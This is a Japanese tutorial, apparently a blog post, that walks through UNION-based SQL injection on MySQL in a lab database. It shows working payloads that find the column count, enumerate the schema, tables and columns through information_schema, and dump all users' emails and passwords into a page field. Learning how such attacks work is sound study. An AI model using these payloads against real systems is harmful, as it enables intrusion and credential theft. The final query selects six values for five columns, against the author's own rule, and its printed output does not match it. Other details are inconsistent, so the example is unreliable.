ゆっくりSQLインジェクション(UNION – MySQL – 編)
SQLiで、代表的なSQLのUNION句だが、フォームから投げ込むと「なんとなく感」があるので、実際にSQLレベルで、ゆっくり理解していく。
MySQLにしたのは、簡単だから。
そもそもUNIONとは
selectした結果に、他の結果を合成(UNION)した結果を返す。
例えば、普通のSQL文。
mysql> select * from users;
+----+--------+----------------+----------+------+
| id | name | email | password | age |
+----+--------+----------------+----------+------+
| 1 | 太郎 | test1@hoge.com | pa$$word | 19 |
| 2 | 次郎 | test2@hoge.com | @pple | 23 |
| 3 | 花子 | test3@hoge.com | p@ssw0rd | 34 |
+----+--------+----------------+----------+------+
これに、適当な値をUNIONしてみる。
mysql> select * from users union select 1,2,3,4,5;
+----+--------+----------------+----------+------+
| id | name | email | password | age |
+----+--------+----------------+----------+------+
| 1 | 太郎 | test1@hoge.com | pa$$word | 19 |
| 2 | 次郎 | test2@hoge.com | @pple | 23 |
| 3 | 花子 | test3@hoge.com | p@ssw0rd | 34 |
| 1 | 2 | 3 | 4 | 5 |
+----+--------+----------------+----------+------+
追加される側(左辺)のカラム数と、UNIONする側のカラム数が一致してないとエラーが出る。今回の場合は、結果として表示されるカラム数は、id, name, email, password, ageの、5つ。なので、
「select 1,2,3,4,5」
は、成功するが、以下は失敗する。3つしかないからね。要は、左辺と右辺でカラム数があっていないとエラーになるのがUNION。
mysql> select * from users union select 1,2,3,4,5 union select 1,2,3;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
コレを悪用すると、左辺の内容を知らなくても、左辺の結果を右辺でUNIONを使って調べることができる。
以下の例のように、右辺のカラムを手打ちで増やしていく。実際にSQLインジェクションの脆弱性があるシステムに対して、フォームからこの様に打ち込んでいくと、カラム数があった時点で、WEB画面にはエラーではなくて、1〜5の値の全て(もしくはいずれか)が、表示される。

どういうことかと言うと、webアプリケーションではDBから取得した結果を、HTML上に帳票するので、例えば以下の様に画面には表示されたりする。
- ユーザー名:「unionで指定した2」
- メールアドレス:「unionで指定した3」
- 年齢:「unionで指定した5」
ここまで来たら、ほぼ攻略したようなもの。
余談:「PostgreSQL」の場合
今回「MySQL」にしたのは冒頭にも述べたように「簡単」だから。Posgreで同じことをすると以下のエラーとなる。
hacking_lab=# select * from users union (select 1, 2, 3, 4, 5);
ERROR: UNION types character varying and integer cannot be matched
LINE 1: select * from users union (select 1, 2, 3, 4, 5);
^
UNIONしても左辺と右辺のデータの型が一致しないとエラーとなる。これは攻撃する側からすると、「MySQL」の場合はカラム数だけ合致させればよかったものの、Posgreの場合は「カラム数」と「それぞれの型」を合致させる必要が有るため、地味に時間がかかり相当厄介なのだ。
しかし、今回は理解のため手動でやっているが、当然こんなの自動的にやってくれるツールはたくさんあるのでご心配なさらず。
ちなみに、カラム数と型を合わせると、Posgreさんもいい子になる。
hacking_lab=# select * from users union (select 4, '2', '3', '4', 5);
id | name | email | password | age
----+------+----------------+----------+-----
4 | 2 | 3 | 4 | 5
3 | 花子 | test3@hoge.com | p@ssw0rd | 32
1 | 太郎 | test1@hoge.com | pa$$word | 19
2 | 次郎 | test2@hoge.com | @pple | 23
もっとやるとこんな感じになる。データベース毎のクセはあるけど、要は概念は一緒。
hacking_lab=# select * from users union (select 100, '2', '3', (select table_catalog from information_schema.tables where table_schema = 'public'), 5);
id | name | email | password | age
-----+------+----------------+-------------+-----
3 | 花子 | test3@hoge.com | p@ssw0rd | 32
1 | 太郎 | test1@hoge.com | pa$$word | 19
2 | 次郎 | test2@hoge.com | @pple | 23
100 | 2 | 3 | hacking_lab | 5
と言うことで、引き続き「MySQL」で進める。
UNIONを活用してみる
先程の、SQLはこうだった。
mysql> select * from users union select 1,2,3,4,5;
+----+--------+----------------+----------+------+
| id | name | email | password | age |
+----+--------+----------------+----------+------+
| 1 | 太郎 | test1@hoge.com | pa$$word | 19 |
| 2 | 次郎 | test2@hoge.com | @pple | 23 |
| 3 | 花子 | test3@hoge.com | p@ssw0rd | 34 |
| 1 | 2 | 3 | 4 | 5 |
+----+--------+----------------+----------+------+
1とか2とかの情報は自分で打っているものなのだが、ここに本当に取りた以上を入れることは出来ないかを考えていく。
ここからは、理解のためSQLiの基本的なセオリーに沿って進めます。
スキーマ(MySQLではDB)の情報を取得
SQLを少し変えて、「5」の部分に「database()」関数を入れてみるとその結果が、元の結果にUNIONされる。ターゲットのスキーマが、「hacking_lab」という名前ということが解った。
mysql> select * from users union select 1,2,3,4,5 union select 1,2,3,4,database();
+----+--------+----------------+----------+-------------+
| id | name | email | password | age |
+----+--------+----------------+----------+-------------+
| 1 | 太郎 | test1@hoge.com | pa$$word | 19 |
| 2 | 次郎 | test2@hoge.com | @pple | 23 |
| 3 | 花子 | test3@hoge.com | p@ssw0rd | 34 |
| 1 | 2 | 3 | 4 | 5 |
| 1 | 2 | 3 | 4 | hacking_lab |
+----+--------+----------------+----------+-------------+
テーブル一覧の取得
対象となるスキーマ名が、「hacking_lab」と解ったので、WHERE句で絞り、スキーマの中に有るテーブルを全て抜き出してみる。
「hacking_lab」スキーマの中には、「products」と「users」というテーブルが存在する事が解った。
mysql> select * from users union (select 1,2,3,4, group_concat(table_name) from information_schema.tables where table_schema = 'hacking_lab');
+----+--------+----------------+----------+----------------+
| id | name | email | password | age |
+----+--------+----------------+----------+----------------+
| 1 | 太郎 | test1@hoge.com | pa$$word | 19 |
| 2 | 次郎 | test2@hoge.com | @pple | 23 |
| 3 | 花子 | test3@hoge.com | p@ssw0rd | 34 |
| 1 | 2 | 3 | 4 | products,users |
+----+--------+----------------+----------+----------------+
ここで、唐突なキーワドが出て来たので、以下概要を説明。
group_concat | 結果が複数の場合、1つの文字列に結合する関数。 |
information_schema.tables | MySQLはデータベースの構造情報を全て、inforamation_schemaというデータベースに保存している。データベース全体に存在するテーブルの一覧を見たい場合は、information_schema.tablesに、selectすることにより、全テーブルが取れる。 |
table_shema | information_schemaデータベースの、tablesテーブルの、table_schemaカラム。テーブルが存在するスキーマ名が入っている。 |
table_name | information_schemaデータベースの、tablesテーブルの、table_nameカラム。テーブル名が入っている。 |
そろそろ、元のデータ(上記結果)の、id1〜3が邪魔なので、本命だけ表示させていく。存在しないユーザーIDの、100をwhere句を左辺に追加。
mysql> select * from users where id = 100 union (select 1,2,3,4, group_concat(table_name) from information_schema.tables where table_schema = 'hacking_lab');
+----+------+-------+----------+----------------+
| id | name | email | password | age |
+----+------+-------+----------+----------------+
| 1 | 2 | 3 | 4 | products,users |
+----+------+-------+----------+----------------+
テーブルのカラム情報の取得
usersテーブルにどんなカラムがあるかを調査していきたいので、「table_name」を「users」で絞る。
mysql> select * from users where id = 100 union (select 1,2,3,4, group_concat(column_name) from information_schema.columns where table_schema = 'hacking_lab' and table_name = 'users');
+----+------+-------+----------+----------------------------+
| id | name | email | password | age |
+----+------+-------+----------+----------------------------+
| 1 | 2 | 3 | 4 | id,name,email,password,age |
+----+------+-------+----------+----------------------------+
カラム名の情報も、上記で説明した「information_schema」に全て保存されているので、引き続きこれを利用していく。
結果、「users」テーブルには、以下のカラムが存在するところまで判明した。
- id
- name
- password
- age
欲しい情報を画面に表示させる
さて、ここで最初に上げた、この5つのカラムの情報のうちいくつがWEB画面で表示されているかを思いだす。仮に以下の3つの情報が、WEB画面に表示されているのであれば、「2」「3」「5」のカラムのいずれかに欲しい情報をセットしてあげればいい。
- ユーザー名:「2」
- メールアドレス:「3」
- 年齢:「5」
今回は、ユーザー名の部分に取りたい情報をUNIONしてみる。
mysql> select * from users where id = 100 union (select 1, (select group_concat(email, ":", password separator ' ') from users),2,3,4,5);
+---+-------------------------------------------------------------------------+------+-------+----------+------+
| id | name | email | password | age |
+-----------------------------------------------------------------------------+------+-------+----------+------+
| 1 | test1@hoge.com:pa$$word test2@hoge.com:@pple test3@hoge.com:p@ssw0rd | 3 | 4 | 5 |
+----------------------------------------------------------------------+------+-------+----------+------+
WEB画面に表示されている「ユーザー名」の部分に、全ユーザーのメアドとパスワードが表示される。
例えば、こんな感じだろうか?
こんにちは! test1@hoge.com:pa$$word test2@hoge.com:@pple test3@hoge.com:p@ssw0rd さん!